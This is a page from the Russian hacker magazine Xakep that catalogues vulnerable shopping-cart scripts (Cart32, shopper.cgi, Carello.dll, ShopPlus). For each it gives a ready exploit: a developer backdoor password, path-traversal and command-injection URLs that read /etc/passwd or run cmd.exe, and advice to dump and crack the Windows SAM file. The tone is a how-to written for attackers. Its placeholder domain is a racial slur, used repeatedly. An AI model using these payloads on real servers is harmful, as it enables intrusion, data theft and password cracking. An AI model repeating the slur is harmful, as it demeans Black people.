Потребительская корзина хакеров

Xakep, номер #037, стр. 037-056-2


Для использования данной корзинки надо для начала попробовать ее с параметром cart32clientlist. В случае, если она спросит пароль, то смело вводи "Wemilo" (это бэкдоор, заботливо оставленный нам разработчиками) и наслаждайся листингом пользователей корзинки (вместе с хешированными паролями и прочей конфиденциальной инфой). Далее пробуем скрипт c32web.exe. При его запросе он спрашивает у тебя логин, а потом пароль (декриптор паролей при особом желании можно найти даже на яндексе). Вводим только что увиденные пароли и потом просто нажимаем на кнопку "Show orders(non-secure)". Все, задача выполнена.

Частота использования: Используется достаточно часто, но старых версий, склонных к взлому, становится все меньше и меньше (4.5)

[ shopper.cgi ]

Полное имя:

Bytes Interactive's Web Shopper (shopper.cgi) Version 2.0 (и ниже)

Диагноз:

Удаленное исполнение команд на сервере

Эксплоит:

www.niggers.org/cgi-bin/shopper.cgi?newpage=../../../../etc/passwd

Описание:

Посмотри на этот кусок кода:

#$debug=1

if ($debug) {

...

foreach $vl (keys (%VALUES)) {

$er2 = ( $VALUES{$vl} =~ /(\[|;|>|<|&|\*|`|\\|]|\^|\||\?|'|~|\(|\)|\{|}|\$|\r|\n)/ );

# Remove any insecure relative path parts

$page =~ s/(\/\.\.\/)*//g;

$page =~ s/(\.\.\/)*//g;

$page =~ s/(.\/)*//g;

Видишь, вроде как все чисто, но все это работать будет только в том случае, если переменная $debug равна единице, но в коде она равна единице, но закомментирована! Следовательно, переменная равна нулю. Тогда вся эта заумная проверка не работает, а стоит здесь для мебели. Следовательно, параметр скрипта не проверяется на различные метасимволы, и мы можем творить с серваком абсолютно все что нам заблагорассудится.

Частота использования: Я нашел достаточно большое количество таких. (3.5)

[ carello.dll ]

Полное название:

Carello E-Commerce V1.2.1 for Windows NT (1.3 уже не подойдет)

Диагноз:

Удаленное исполнение команд на сервере

Эксплоит:

http://www.niggers.org/scripts/Carello/Carello.dll?CARELLOCODE=SITE2&VBEXE=C:\..\..\..\winnt\system32\cmd.exe%20/c%20echo%20test>c:\zlo.txt

Описание:

Программа в своем аргументе прописывает абсолютные пути к своим запускаемым скриптам, поэтому мы можем без проблем исполнить на сервере любую команду, например, "type c:\winnt\repair\sam". Полученные таким образом пароли остается только полофтить и вытрясти из серванта все, что там есть.

Частота использования: Я надеюсь, что где-то парочка таких программулек завалялась (хотя я не нашел) (0.5)

[ shopplus.cgi ]

Полное имя:

ShopPlus Shopping Cart

Диагноз:

Удаленное исполнение команд на сервере.

Эксплоит:

www.niggers.org/scripts/shopplus.cgi?dn=www.niggers.org&cartid=niggers.org&file=;cat%20/etc/passwd|

Описание:

Как обычно бывает, этот скрипт передает процедуре open() параметр, который ни на что не проверяется. Поэтому мы можем рулить удаленным серваком удаленно без особых затрат сил, времени и мозгов. Требуется только найти такой скрипт :).

Назад на стр. 037-056-1  Содержание  Вперед на стр. 037-056-3